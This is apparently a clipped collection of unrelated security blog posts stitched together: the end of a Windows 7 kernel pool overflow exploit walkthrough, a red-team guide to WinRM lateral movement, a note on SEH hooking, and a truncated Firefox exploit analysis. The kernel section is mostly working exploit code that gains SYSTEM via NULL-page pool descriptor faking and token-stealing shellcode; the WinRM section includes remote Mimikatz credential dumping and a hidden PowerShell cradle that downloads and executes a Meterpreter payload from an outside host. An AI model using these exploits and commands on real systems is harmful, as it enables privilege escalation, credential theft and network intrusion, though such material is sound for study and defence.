    //  + 0x00c SecurityDescriptorQuotaBlock : Ptr32 Void
    
[/code]

Finally we overwrite the `OBJECT_HEADER` structure, mostly with it's default
values but with the TypeIndex value set to 0.

[code]

    //This provides meta data and procedures pointers to keep track of and manage the Object itself
    lpInBuffer[0x210 / 4] = 0x00000001;  
    //dt nt!_OBJECT_HEADER
    //    + 0x000 PointerCount     : Int4B => 1, one active pointer to the object
    lpInBuffer[0x214 / 4] = 0x00000001;  
    //  + 0x004 HandleCount : Int4B => 1, one active handle to the object
    //    + 0x004 NextToFree : Ptr32 Void => Unused on an allocated object
    lpInBuffer[0x218 / 4] = 0x00000000;  
    //  + 0x008 Lock : _EX_PUSH_LOCK => NULL, 
    //Interesting note from codemachine: On older version of Windows, the object manager attempted to acquire an object type specific lock (OBJECT_TYPE->TypeLock) before performing an operation on an object. This implied that no other object of that type in the entire system could be manipulated for the duration the object type lock was held.
    lpInBuffer[0x21C / 4] = 0x00080000;  
    //  + 0x00c TypeIndex : UChar => 0x00 - This is the only field we corrupt, normally for an event object on Win7SP1 this would be 0xC
    //    + 0x00d TraceFlags : UChar => 0x00
    //    + 0x00e InfoMask : UChar => 0x08
    //    + 0x00f Flags : UChar => 0x00
    
    //We only wanted to modify the TypeIndex field above so stop overwriting before completely overwriting the structure, for completions sake it's fields are:
    //  + 0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
    //    + 0x010 QuotaBlockCharged : Ptr32 Void
    //    + 0x014 SecurityDescriptor : Ptr32 Void
    //    + 0x018 Body : _QUAD
    
[/code]

Now let's run the code \(making sure Special Pool has been disabled\) and we
should get a crash with the kernel trying to access the OBJECT\_TYPE structure
at an address of 0x0. I immediately got a BugCheck in my attached debugger,
looking at instruction and registers at the time of the exception we see
exactly what we hoped for.

[code]

    r  
    eax=a5173e38 ebx=00000000 ecx=00000000 edx=85911dd0 esi=85911dd0 edi=84d9a8f0  
    eip=82c4835d esp=9779bba0 ebp=9779bbdc iopl=0         nv up ei ng nz na po nc  
    cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010282  
    nt!ObpCloseHandleTableEntry+0x28:  
    82c4835d 837b7400        cmp     dword ptr [ebx+74h],0 ds:0023:00000074=????????  
    
[/code]

A function called `ObpCloseHandleTableEntry` is erroring whilst trying to read
memory from `ebx+0x74` with ebx being 0. This would correspond to the
DeleteProcedure entry in the `OBJECT_TYPE` structure if it was being read from
the NULL page as planned. Now we just need to allocate the NULL page, using
the same method as before in this series, and set one of the function pointer
offsets to point at our token stealing shellcode.

The following code was added at the start of main to allocate the NULL page.

[code]

    HMODULE hNtdll = GetModuleHandle("ntdll.dll");
    
    if (hNtdll == INVALID_HANDLE_VALUE) {  
        printf("Could not open handle to ntdll. \n");
        CloseHandle(hDriver);
        return 1;
    }
    
    //Get address of NtAllocateVirtualMemory from the dynamically linked library and then cast it to a callable function type
    PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");;
    
    if (!NtAllocateVirtualMemory) {  
        printf("Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        return 1;
    }
    
    //We can't outright pass NULL as the address but if we pass 1 then it gets rounded down to 0...
    PVOID baseAddress = (PVOID)0x1;  
    SIZE_T regionSize = 0x2000; //Probably enough, it will get rounded up to the next page size  
                                    // Map the null page
    NTSTATUS ntStatus = NtAllocateVirtualMemory(  
        GetCurrentProcess(), //Current process handle
        &baseAddress, //address we want our memory to start at, will get rounded down to the nearest page boundary
        0, //The number of high-order address bits that must be zero in the base address of the section view. Not a clue here
        &regionSize, //Required size - will be modified to actual size allocated, is rounded up to the next page boundary
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, //claim memory straight away, get highest appropriate address
        PAGE_EXECUTE_READWRITE //All permissions
    );
    
    if (ntStatus != 0) {  
        printf("Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
        return 1;
    }
    
    printf("Address allocated at: 0x%p\n", baseAddress);  
    printf("Allocated memory size: 0x%X\n", regionSize);  
    
[/code]

With the NULL page successfully allocated we just need to put a pointer to our
shellcode in place of one of the function pointers. I tried placing a
shellcode pointer at the offset of each function and found that the Delete,
OkayToClose and Close Procedure would lead to shellcode being executed in a
straight forward way. I decided to overwrite the Delete Procedure as b33f used
OkayToClose and Ashfaq used Close.

[code]

    *(PULONG)0x64 = (ULONG) &TokenStealingShellcodeWin7Generic; 
    
[/code]

Finally we need to slightly modify the shellcode as the Delete procedure
expects a 4 byte argument which needs to be removed from the stack to avoid
things getting unstable. Just adding `ret 4;` to the end of the shellcode
fixes it. Finally just add a nice `system("calc.exe");` before we start
tidying up memory.Now we run the code again and should get a nice calculator
running as SYSTEM as shown below.

<img src='img/Temp2_9882.png' width='895' height='252' />

The final/full code for the exploit is on Github.

##### Pool Overflow exploitation round 2

The second technique for exploiting this vulnerability, I'm going to use is
the PoolIndex overwrite technique used as an example in Kernel Pool
Exploitation on Windows 7 and used with example code at First Dip Into the
Kernel Pool : MS10-058.

This time we'll only be overwriting the POOL\_HEADER structure of the
neighboring Event object, so our in buffer can be smaller.

[code]

    size_t nInBufferSize = 0x1FC;  
    
[/code]

The field we're going to overwrite is the PoolIndex field. By default a
Windows 7 host will only have one Nonpaged pool, which means this field won't
actually be used. So first all we'll overwrite the PoolType field to make the
block look it's part of the Paged Pool. As we saw earlier the value needed in
the field can be found in the `POOL_TYPE` enum and ends up being 3.

[code]

    PagedPool, NonPagedPoolMustSucceed = NonPagedPool + 2  
    
[/code]

The PoolIndex field is used to index into the `nt!ExpPagedPoolDescriptor`
array to find the correct PoolDescriptor for an object when it is free'd.
Looking at the array in windbg we see the following.

[code]

    dd nt!ExpPagedPoolDescriptor  
    82ba7018  8432c000 8432d140 8432e280 8432f3c0  
    82ba7028  84330500 00000000 00000000 00000000  
    82ba7038  00000000 00000000 00000000 00000000  
    
[/code]

You'll notice only the first five entries are valid pointers with the rest
being NULL, that means if we overwrite the `POOL_HEADER`'s PoolIndex field
with a value greater than or equal to 5, when the object is free'd the kernel
will try to reference a POOL\_DESCRIPTOR starting at the NULL page. As before
we can allocate the NULL page from user land and set the structures values in
such a way that we can gain code execution. First of all lets overwrite the
PoolIndex field and make sure the kernel crashes as expected.

[code]

    lpInBuffer[0x1F8 / 4] = 0x06080a40;
    
    //dt nt!_POOL_HEADER  
    //  + 0x000 PreviousSize : Pos 0, 9 Bits  => 0x40  
    //    + 0x000 PoolIndex : Pos 9, 7 Bits => 0x5 //Out of bounds
    //    + 0x002 BlockSize Pos 0, 9 Bits => 0x8
    //    + 0x002 PoolType : Pos 9, 7 Bits => 0x3 //Paged Pool
    //    + 0x000 Ulong1 : Uint4B => 0x06400a40 (Just a union field)
    //We stop overwriting after the first 4 bytes and leave the rest as default
    //    + 0x004 PoolTag : Uint4B=> 0xee657645 => 'Even'
    //    + 0x004 AllocatorBackTraceIndex : Uint2B => 0x7645
    //    + 0x006 PoolTagHash : Uint2B => 0xee65
    
[/code]

Now compiling and running the binary we get a crash.

[code]

    Access violation - code c0000005 (!!! second chance !!!)  
    nt!ExFreePoolWithTag+0x814:  
    82b5f2cf 8b9380000000    mov     edx,dword ptr [ebx+80h]  
    kd> r  
    eax=00000008 ebx=00000000 ecx=82b68d20 edx=00000000 esi=000001ff edi=8455f830  
    eip=82b5f2cf esp=9610fae8 ebp=9610fb44 iopl=0         nv up ei pl zr na pe nc  
    cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246  
    nt!ExFreePoolWithTag+0x814:  
    82b5f2cf 8b9380000000    mov     edx,dword ptr [ebx+80h] ds:0023:00000080=????????  
    
[/code]

The kernel successfully crashed trying to access memory at an address of `0x0
+ 0x80` while freeing a pool allocation. Now how do we go from controlling a
Pool Descriptor to code execution?

Remembering from earlier in this article on Windows 7, the Pool Descriptor
includes a PendingFrees list which will be free'd if it contains 32 or more
entries. By faking a Pool Descriptor object we can make the PendingFrees list
point to fake pool allocations which we control, and if we set the
PendingFreesDepth to 32 or more the kernel will attempt to free them. The
free'd objects addresses will be added to the ListHeads list, by creating fake
entries in this list that point to a targeted address we want to overwrote,
the address of the fake object that's just been free'd will be written to the
Blink address of the first entry in the ListHeads list.

This allows us to write a controlled user mode address to any address in
memory. For now lets get the kernel writing the fake object address to
0x41414141.

Hopefully some code will make this clearer. All of this code is placed before
the pool spraying code.

First we allocate the NULL page as before.

[code]

    HMODULE hNtdll = GetModuleHandle("ntdll.dll");
    
    if (hNtdll == INVALID_HANDLE_VALUE) {  
        printf("Could not open handle to ntdll. \n");
        CloseHandle(hDriver);
        return 1;
    }
    
    //Get address of NtAllocateVirtualMemory from the dynamically linked library and then cast it to a callable function type
    PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");;
    
    if (!NtAllocateVirtualMemory) {  
        printf("Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        return 1;
    }
    
    //We can't outright pass NULL as the address but if we pass 1 then it gets rounded down to 0...
    PVOID baseAddress = (PVOID)0x1;  
    SIZE_T regionSize = 0x2500; //Probably enough, it will get rounded up to the next page size  
                                    // Map the null page
    NTSTATUS ntStatus = NtAllocateVirtualMemory(  
            GetCurrentProcess(), //Current process handle
        &baseAddress, //address we want our memory to start at, will get rounded down to the nearest page boundary
        0, //The number of high-order address bits that must be zero in the base address of the section view. Not a clue here
        &regionSize, //Required size - will be modified to actual size allocated, is rounded up to the next page boundary
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, //claim memory straight away, get highest appropriate address
        PAGE_EXECUTE_READWRITE //All permissions
    );
    
    if (ntStatus != 0) {  
        printf("Virtual Memory Allocation Failed: 0x%x\n", ntStatus);
        return 1;
    }
    
    printf("Address allocated at: 0x%p\n", baseAddress);
    
    printf("Allocated memory size: 0x%X\n", regionSize);  
    
[/code]

Now we need to create the fake `POOL_DESCRIPTOR` structure starting at 0x0. I
basically worked out how to do this by working backwards from Jeremy's
solution, so I've just used his values here.

[code]

    RtlZeroMemory((PCHAR)0x0, 0x1300);
    
    //dt - r nt!_POOL_DESCRIPTOR    
    *(PCHAR)0x0 = 1;
    //+ 0x000 PoolType         : PagedPool = 0n1
    *(PCHAR)0x4 = 1;
    //+0x004 PagedLock        : _KGUARDED_MUTEX
    *(PCHAR*)0x100 = (PCHAR)0x1208;
    //+ 0x100 PendingFrees : 0x1208 //This address will be written to the targetted 'where' address
    
    *(PCHAR*)0x104 = (PCHAR)0x20;
    //+0x104 PendingFreeDepth : 0x20 - the pending free needs to be atleast 32 to so that ExFreePoolWithTag actually free's everything
    
    for (unsigned int i = 0x140; i < 0x1140; i += 8) {  
        *(PCHAR*)i = (PCHAR)where - 4;
    }
    //+0x140 ListHeads : [512] _LIST_ENTRY
        //+ 0x000 Flink : (PCHAR)0x41414141 - 4
        //+ 0x004 Blink : (PCHAR)0x41414141- 4
        //And repeat...
    //The addresses of the object on the PendingFrees list which is currently 0x1208 will be written to 0x41414141 when it is linked into the front of the list
    
[/code]

Finally we create the fake block at 0x1208, the corresponding `POOL_HEADER`
needs to be at 0x1200.

[code]

    *(PINT)0x1200 = (INT)0x060c0a00;
    *(PINT)0x1204 = (INT)0x6f6f6f6f;
    //dt nt!_POOL_HEADER 0x1200
    //+0x000 PreviousSize     : 0y000000000(0)
    //    + 0x000 PoolIndex : 0y0000101(0x5)
    //    + 0x002 BlockSize : 0y000001100(0xc)
    //    + 0x002 PoolType : 0y0000011(0x3)
    //    + 0x000 Ulong1 : 0x60c0a00
    //    + 0x004 PoolTag : 0x6f6f6f6f
    //    + 0x004 AllocatorBackTraceIndex : 0x6f6f
    //    + 0x006 PoolTagHash : 0x6f6f
    *(PCHAR*)0x1208 = (PCHAR)0x0; //next pointer
    
[/code]

The fact that the memory at 0x1208 is a NULL pointer means that DeferedFree
will free it and then stop, as there is no following entry.

We'll also need to create another fake POOL\_HEADER immediately after the
object to be free'd as when the memory manager is free'ing the preceding block
it will validate that it's size is equal to the next blocks previous size
field.

[code]

    *(PINT)0x1260 = (INT)0x060c0a0c;
    *(PINT)0x1264 = (INT)0x6f6f6f6f;
    //dt nt!_POOL_HEADER 0x1260
    //+0x000 PreviousSize     : 0y000001100(0xc)
    //    + 0x000 PoolIndex : 0y0000101(0x5)
    //    + 0x002 BlockSize : 0y000001100(0xc)
    //    + 0x002 PoolType : 0y0000011(0x3)
    //    + 0x000 Ulong1 : 0x60c0a0c
    //    + 0x004 PoolTag : 0x6f6f6f6f
    //    + 0x004 AllocatorBackTraceIndex : 0x6f6f
    //    + 0x006 PoolTagHash : 0x6f6f
    
[/code]

Now building and running the code, we get the error we expected.

[code]

    Access violation - code c0000005 (!!! second chance !!!)  
    nt!ExDeferredFreePool+0x2e3:  
    82b60943 894604          mov     dword ptr [esi+4],eax  
    kd> r  
    eax=00001208 ebx=000001ff ecx=000001ff edx=00000198 esi=4141413d edi=00000000  
    eip=82b60943 esp=a287faa0 ebp=a287fad8 iopl=0         nv up ei pl nz na po nc  
    cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202  
    nt!ExDeferredFreePool+0x2e3:  
    82b60943 894604          mov     dword ptr [esi+4],eax ds:0023:41414141=????????  
    
[/code]

Here we can see 0x1208 being written to `[esi+4]`, which is equal to
0x41414141, by `ExDeferredFreePool`. Now we need to overwrite something in
memory which allow us to gain code execution. For this I chose to overwrite an
entry in the `HalDispatchTable` as I did when exploiting the arbitrary
overwrite vulnerability.

Once the entry has been overwritten triggering the correct function will cause
the dispatch table entry to be used and the kernels code execution to be re-
directed to where the fake pool allocation previously was \(0x1208\).

First of all we need to find the HalDispatch table address and the targeted
entry we want to overwrite, in this case the second entry which is used when
the `NtQueryIntervalProfile` function in ntdll is called.

[code]

    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");  
    if (query == NULL) {  
        printf("GetProcAddress() failed.\n");
        return 1;
    }
    ULONG len = 0;  
    query(SystemModuleInformation, NULL, 0, &len);  
    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);  
    if (pModuleInfo == NULL) {  
        printf("Could not allocate memory for module info.\n");
        return 1;
    }
    query(SystemModuleInformation, pModuleInfo, len, &len);  
    if (len == 0) {  
        printf("Failed to retrieve system module information\n");
        return 1;
    }
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;  
    PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;  
    kernelImage = strrchr(kernelImage, '\\') + 1;  
    printf("Kernel Image Base 0x%X\n", kernelImageBase);  
    printf("Kernel Image name %s\n", kernelImage);
    
    HMODULE userBase = LoadLibrary(kernelImage);  
    PVOID dispatch = (PVOID)GetProcAddress(userBase, "HalDispatchTable");  
    dispatch = (PVOID)((ULONG)dispatch - (ULONG)userBase + (ULONG)kernelImageBase);  
    printf("User Mode kernel image base address: 0x%X\n", userBase);  
    printf("Kernel mode kernel image base address: 0x%X\n", kernelImageBase);  
    printf("HalDispatchTable address: 0x%X\n", dispatch);
    
    ULONG where = (ULONG)((ULONG)dispatch + sizeof(PVOID));  
    printf("write address: 0x%X\n", where);  
    
[/code]

Next we update the fake ListHeads entries to point at `where`.

[code]

    for (unsigned int i = 0x140; i < 0x1140; i += 8) {  
        *(PCHAR*)i = (PCHAR)where - 4;
    }
        //+0x140 ListHeads : [512] _LIST_ENTRY
            //+ 0x000 Flink : (PCHAR)where - 4
            //+ 0x004 Blink : (PCHAR)where - 4
            //And repeat...
    
[/code]

Finally we place an `0xcc` byte \(the int 3 opcode\) at 0x1208 to trigger a
breakpoint and add a call to `NtQueryIntervalProfile` to call the function
once we've cleaned everything up. The reason for the `0xCC` byte  
is that otherwise the bytes at 0x1208 are the opcodes for `clc` \(0xf8\)
followed by `ret` \(0xc3\) which means nothing really happens and the OS
continues fine.

[code]

    printf("triggering payload\r\n");  
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtdll, "NtQueryIntervalProfile");
    
    if (!NtQueryIntervalProfile) {  
        printf("Failed Resolving NtQueryIntervalProfile. \n");
        return 1;
    }
    printf("Triggering shellcode\n");  
    ULONG interval = 1;  
    NtQueryIntervalProfile(2, &interval);  
    
[/code]

We still haven't setup our shellcode but we should now have code execution at
0x1208. Running the code again we get exactly that\!

[code]

    // call pool page allocator if size is above 4080 bytes
    if (NumberOfBytes > 0xff0) {  
    // call nt!ExpAllocateBigPool
    }
    
[/code]

Final step is to setup the shellcode. Execution will be literally starting at
0x1208 so we can't just put a pointer there, instead we set up the following
data, just before calling `NtQueryIntervalProfile`.

[code]

    /*00001208 b8ADDRESS      mov     eax, what
    0000120d ffd0            call    eax  
    0000120f c9              leave  
    00001210 c3              ret*/  
    *(PUCHAR)0x1208 = 0xb8;
    *(PINT)0x1209 = (ULONG)&TokenStealingShellcodeWin7Generic;
    *(PUCHAR)0x120D = 0xff;
    *(PUCHAR)0x120E = 0xd0;
    *(PUCHAR)0x120F = 0xc9;
    *(PUCHAR)0x1210 = 0xc3;
    
[/code]

Now recompiling and running the code we get SYSTEM :\)

<img src='img/Temp2_9877.png' width='895' height='346' />

The final/full code for the exploit is on Github.

#### Sam Brown

Read more posts by this author.

#### Share this post

  

  

# Lateral Movement – WinRM

**Created:**| _5/25/2018 10:46:47 AM_  
---|---  
**Updated:**| _5/25/2018 10:46:47 AM_  
**Author:**| _wishi_  
**Tags:**| _post-exploitation powershell_  
  

  

##  Lateral Movement – WinRM

May 15, 2018

netbiosX Red Team Empire, Metasploit, PowerShell, PowerShell Remoting,
PSRemoting, Red Team, WinRM, WinRS 3 Comments

WinRM stands for Windows Remote Management and is a service that allows
administrators to perform management tasks on systems remotely. Communication
is performed via HTTP \(5985\) or HTTPS SOAP \(5986\) and support Kerberos and
NTLM authentication by default and Basic authentication. Usage of this service
requires administrator level credentials.

In a red team scenario if local administrator access has been achieved then
these credentials can be used for lateral movement inside the network if WinRM
is used for management of servers.

## Discovery

Hosts with port 5985 open have the WinRM service running. A simple Nmap scan
can be used to determine these hosts.

1| `nmap -p ``5985` `-sV ``10.0``.``0.2` `10.0``.``0.1`  
---|---  
<img src='img/winrm-port-discovery.png' width='500' height='274' alt='WinRM -
Port Discovery' />

WinRM – Port Discovery

If port 5985 is open but port 5986 is closed this means that the WinRM service
is configured to accept connections over HTTP only and encryption is not
enabled.

<img src='img/winrm-ports.png' width='500' height='213' alt='WinRM - Ports' />

WinRM – Ports

From a system that has already local administrator access and these privileges
are shared with the target system the PowerShell **Invoke-Command** can be
used for command execution over the WinRM service.

1| `Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }`  
---|---  
<img src='img/winrm-command-execution.png' width='500' height='144' alt='WinRM
- Command Execution' />

WinRM – Command Execution

Mimikatz can also executed remotely for retrieval of credentials stored in
memory and without dropping any binary into disk.

12| `Import-Module ./Invoke-Mimikatz.ps``1``Invoke-Mimikatz -ComputerName
TARGET`  
---|---  
<img src='img/winrm-mimikatz.png' width='500' height='399' alt='WinRM -
Mimikatz' />

WinRM – Mimikatz

These credentials can then be used to access other systems which can lead
possibly to domain escalation.

For systems that don’t run WinRM it is possible to enable and configure this
service for persistence by using a legitimate Windows service. The following
command will enable WinRM.

1| `Enable-PSRemoting -Force`  
---|---  
<img src='img/winrm-enable-the-service.png' width='500' height='193'
alt='WinRM - Enable the Service' />

WinRM – Enable the Service

By default it might not be possible to connect to another system over WinRM
and additional configuration might needed. The following commands will assist
to configure the service properly for HTTP access from any host.

123| `winrm quickconfig``winrm set winrm/config/Client @{AllowUnencrypted =
``"true"``}``Set-Item WSMan:localhost\client\trustedhosts -value *`  
---|---  
Dave Hardy has written a great post about PowerShell PSRemoting Pwnage which
contains additional commands. Alternatively WinRM can be configured from the
Local Group Policy.

<img src='img/winrm-local-group-policy.png' width='500' height='285'
alt='WinRM - Local Group Policy' />

WinRM – Local Group Policy

## WinRS

Windows Remote Shell \(WinRS\) is a command line tool that is part of Windows
2008 and later. If WinRM is enabled this utility can be used to execute
commands on a host remotely. The **cmd** argument will establish a new shell
over command prompt.

1| `winrs -r:http://WIN``-2``NE``38``K``15``TGH/wsman ``"cmd"`  
---|---  
<img src='img/winrs-cmd.png' width='500' height='231' alt='WinRS - CMD' />

WinRS – CMD

Alternatively instead of a shell command prompt commands can be executed in
order to perform a silent recon on the target.

1| `winrs -r:http://WIN``-2``NE``38``K``15``TGH/wsman ``"net localgroup
administrators"`  
---|---  
<img src='img/winrs-command-execution.png' width='500' height='221' alt='WinRS
- Command Execution' />

WinRS – Command Execution

It is also possible to upgrade the Windows Remote Shell access to a
Meterpreter session via the Metasploit web delivery module. The module will
generate a payload which will be hosted locally and will generate the
PowerShell command that needs to be executed on the target.

1| `use multi/script/web_delivery`  
---|---  
<img src='img/winrs-metasploit-web-delivery.png' width='500' height='126'
alt='WinRS - Metasploit Web Delivery' />

WinRS – Metasploit Web Delivery

Executing the PowerShell command from a system that is already connected via
WinRS will download and execute the arbitrary code.

1| `powershell.exe -nop -w ``hidden` `-c
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$h=new-
object
net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX
$h.downloadstring(``'https://10.0.0.3:8080/4WM88bQsuZS'``);`  
---|---  
<img src='img/winrs-execute-powershell-command.png' width='500' height='200'
alt='WinRS - Execute PowerShell Command' />

WinRS – Execute PowerShell Command

A Meterpreter session will open which will provide more flexibility in regards
to post exploitation activities.

<img src='img/winrs-metasploit-meterpreter.png' width='500' height='279'
alt='WinRS - Metasploit Meterpreter' />

WinRS – Metasploit Meterpreter

Interaction with the new system can be achieved with the command **sessions**
and the associated session number.

<img src='img/winrs-meterpreter-session.png' width='500' height='194'
alt='WinRS - Meterpreter Session' />

WinRS – Meterpreter Session

## Metasploit

Metasploit Framework has several modules which can be utilized for the
discovery of hosts that have the WinRM service enabled, discovery of
credentials for service authentication and for executing arbitrary commands
and code. The following module can discover systems with WinRM service enabled
and their supporting authentication protocols.

1| `auxiliary/scanner/winrm/winrm_auth_methods`  
---|---  
<img src='img/metasploit-winrm-auth-methods.png' width='500' height='161'
alt='Metasploit - WinRM Auth Methods' />

Metasploit – WinRM Auth Methods

If local administrator credentials have been obtained then these credentials
can be used to authenticate with other hosts via the WinRM service. The
following module can determine if local administrator credentials are valid
for other systems.

1| `auxiliary/scanner/winrm/winrm_login `  
---|---  
<img src='img/metasploit-winrm-discovery-of-credentials.png' width='500'
height='224' alt='Metasploit - WinRM Discovery of Credentials' />

Metasploit – WinRM Discovery of Credentials

Metasploit has also a module which can execute arbitrary commands over the
WinRM service. This module requires local administrator credentials, the
domain and the target host.

1| `auxiliary/scanner/winrm/winrm_cmd`  
---|---  
<img src='img/metasploit-winrm-command-execution.png' width='500' height='127'
alt='Metasploit - WinRM Command Execution' />

Metasploit – WinRM Command Execution

The output of the command will be returned:

<img src='img/metasploit-winrm-command-output.png' width='500' height='300'
alt='Metasploit - WinRM Command Output' />

Metasploit – WinRM Command Output

Arbitrary code execution is also possible over WinRM and the following module.
The module requires local administrator credentials and the list of hosts that
the code will executed. This module can be used for lateral movement purposes
into hosts that share the same local administrator account.

1| `exploit/windows/winrm/winrm_script_exec`  
---|---  
<img src='img/metasploit-winrm-code-execution-module-configuration.png'
width='500' height='125' alt='Metasploit - WinRM Code Execution Module
Configuration' />

Metasploit – WinRM Code Execution Module Configuration

Upon exploitation the module will attempt to modify the PowerShell execution
policy to allow execution of unsigned scripts. Then a PowerShell script will
be written into disk and executed automatically in order to return a
Meterpreter session. The module will also attempt to migrate into a SYSTEM
level process to avoid loss of the shell due to time limit restriction of
WinRS.

<img src='img/metasploit-winrm-code-execution.png' width='500' height='301'
alt='Metasploit - WinRM Code Execution' />

Metasploit – WinRM Code Execution

## Empire

For engagements that utilize Empire there is a PowerShell module which can
execute code remotely over WinRM in order to expand access inside a network.
Requirements for usage of this module are: local administrator credentials, a
listener, an agent and a target host.

1| `usemodule lateral_movement/invoke_psremoting `  
---|---  
<img src='img/empire-psremoting.png' width='500' height='139' alt='Empire -
PSRemoting' />

Empire – PSRemoting

The list of active agents can be retrieved with the command **agents**. The
following command will interact with the new agent X5DACN91.

1| `interact`  
---|---  
<img src='img/empire-list-of-agents.png' width='500' height='216' alt='Empire
- List of Agents' />

Empire – List of Agents

Post exploitation commands can be executed on the host that has been
compromised through the WinRM service.

<img src='img/empire-command-execution-via-winrm.png' width='500' height='254'
alt='Empire - Command Execution via WinRM' />

Empire – Command Execution via WinRM

## References

  * https://attack.mitre.org/wiki/Technique/T1028
  * https://blog.netspi.com/powershell-remoting-cheatsheet/
  * https://pentestn00b.wordpress.com/2016/08/22/powershell-psremoting-pwnage/
  * https://blog.cobaltstrike.com/2015/07/22/winrm-is-my-remote-access-tool/
  * https://blog.rapid7.com/2012/11/08/abusing-windows-remote-management-winrm-with-metasploit/
  * https://www.trustedsec.com/2017/09/using-winrm-meterpreter/

Advertisements

### Rate this:

1 Vote

### Share this:

  * Twitter
  * Facebook106
  * LinkedIn
  * Pinterest
  * Reddit
  * Tumblr
  * Google
  * 

Like

Be the first to like this.

### _Related_

Command and Control - WMIIn "Red Team"

Lateral Movement - RDPIn "Red Team"

Dumping Clear-Text CredentialsIn "Post Exploitation"

  

# Rev++: SEH Hooking

**Created:**| _12/18/2011 4:46:56 PM_  
---|---  
**Updated:**| _12/18/2011 4:46:56 PM_  
**Author:**| __  
**Tags:**| _seh hooks_  
  

# Rev++

Adventures in Win32 reverse engineering

## Saturday, December 17, 2011

###  SEH Hooking

In this example, I will cover a method of hooking which uses SEH \(Structured
Exception Handling\) in order to hook code in any location without overwriting
the code. This method of hooking is very much alike the SEH Hooking which is
used by many debuggers to place breakpoints, but has two small differences.  

  1. Instead of writing INT3 Breakpoints and catching the _BREAKPOINT_ Exception, I'm setting the memory to _PAGE\_NOACCESS_ and catching the _ACCESS\_VIOLATION_ Exception.
  2. Instead of writing the address of my handler to the PEB directly, I'm using a VEH \(Vectored Exception Handler\), which is being added using the _AddVectoredExceptionHandler\(\)_ WinAPI Function.

This method of hooking works by modifying the protection of a byte of memory
at the location of our hook to _PAGE\_NOACCESS_. When this memory is executed,
our VEH catches an  _ACCESS\_VIOLATION_ Exception. It then checks the
instruction pointer to see if the violation occurred at the location of our
hook. If this  _ACCESS\_VIOLATION_ is not our hook, we return
_CONTINUE\_SEARCH_ to allow other handlers to work with the exception.
However, if it is our hook, we do 3 things:

  1. Execute our hook's callback
  2. Restore the memory access to its original state
  3. Set the trap flag, which will trigger a single step

We then return  _CONTINUE\_EXECUTION_. This time, the hooked code executes
it's first byte flawlessly and then triggers a  _SINGLE\_STEP_ Exception. This
single step is a result of setting the trap flag, and it allows us to set the
hooked memory back to _PAGE\_NOACCESS_ so our hook will execute again the next
time the hooked memory is accessed.

  

Since our exception handler's ContextRecord contains a pointer to the top of
the stack, we are also able to access function arguments and find return
addresses. Because of this, we can block the execution of a function or change
the input, just like in a normal hook. To block execution, we can place a _JMP
\[ReturnAddressFromStack\]_ in our hook handler. While this jumps right back
into execution and skips steps 2 and 3 of our exception handling, it is
jumping back to the calling function and not the hooked code. The _NOACCESS_
remains in place for next time.

  

While this rendition of SEH Hooking isn't flawless, it does illustrate the
concept and get the job done. In most cases, if you plan on using SEH Hooking,
I would recommend using INT3 Breakpoints, though. This method, however, is a
good way to bypass modification detection. While programs may checksum their
code, they don't usually verify the memory protection of every page in the
program.

  

In the example code, I hook the _MessageBoxA\(\)_ WinAPI Function. Inside my
handler, I call _printf\(\)_ to print the caption and text to the console. I
then block execution of _MessageBoxA\(\)_.

# PEB Evolution - PEB\_Evolution.pdf

**Created:**| _7/15/2015 1:43:35 PM_  
---|---  
**Updated:**| _7/15/2015 1:43:35 PM_  
**Author:**| __  
**Tags:**| _pecoff_  
  

#  PEB Evolution - PEB\_Evolution.pdf

<img src='img/PEB_Evolution.pdf' />

# Firefox Exploit Analyzed « Thoughts on Security

**Created:**| _11/21/2011 9:20:49 AM_  
---|---  
**Updated:**| _11/21/2011 9:20:49 AM_  
**Author:**| __  
**Tags:**| _vulnerability browser_  
  

## Firefox Exploit Analyzed

  

\[I found some old posts lurking around my hard drive from a few months ago.
This is no longer the newest or best Firefox exploit, but you might find it
interesting\]

To learn a little bit more about exploit development and RE I took a look at
the latest Firefox exploit in exploit-db \(  
http://www.exploit-db.com/exploits/15352/\); ostensibly the same exploit used
in the Nobel Peace Prize 0day attack of late October last year.
\(http://www.google.com/search?q=nobel+Firefox\) I tested it out on a Windows
XP VM and was disappointed that it did not work. After investigating, I
discovered technically why it failed, but was still left wondering why it had
been released as it had.

The Mozilla advisory
http://www.mozilla.org/security/announce/2010/mfsa2010-73.html informs us that
the vulnerability is triggered by interleaved calls to document.write and DOM
insertion \(document.appendChild\) causing a heap buffer overflow. It was
found by Morten Kråkvik of Telenor SOC while investigating an intrusion
attempt on a customer network. Plenty of details of the vulnerability
describing exactly what is happening, more than I will cover here, can be
found at the Mozilla bug page for the vulnerability:
https://bugzilla.mozilla.org/show\_bug.cgi?id=607222\#c53 In the end, pointers
get run off the end of an array allocated on the heap.

The exploit performs two heap sprays; the contents of which are determined by
Firefox version. The second spray generates many copies of the address of a
stack pivot to move esp to the heap and return. This address will be the first
address that eip is sent to when a function pointer is read from the heap. For
example, on Firefox 3.6.11, the address used is 0x1017f7e7, which points to
the following stack pivot:

[code]

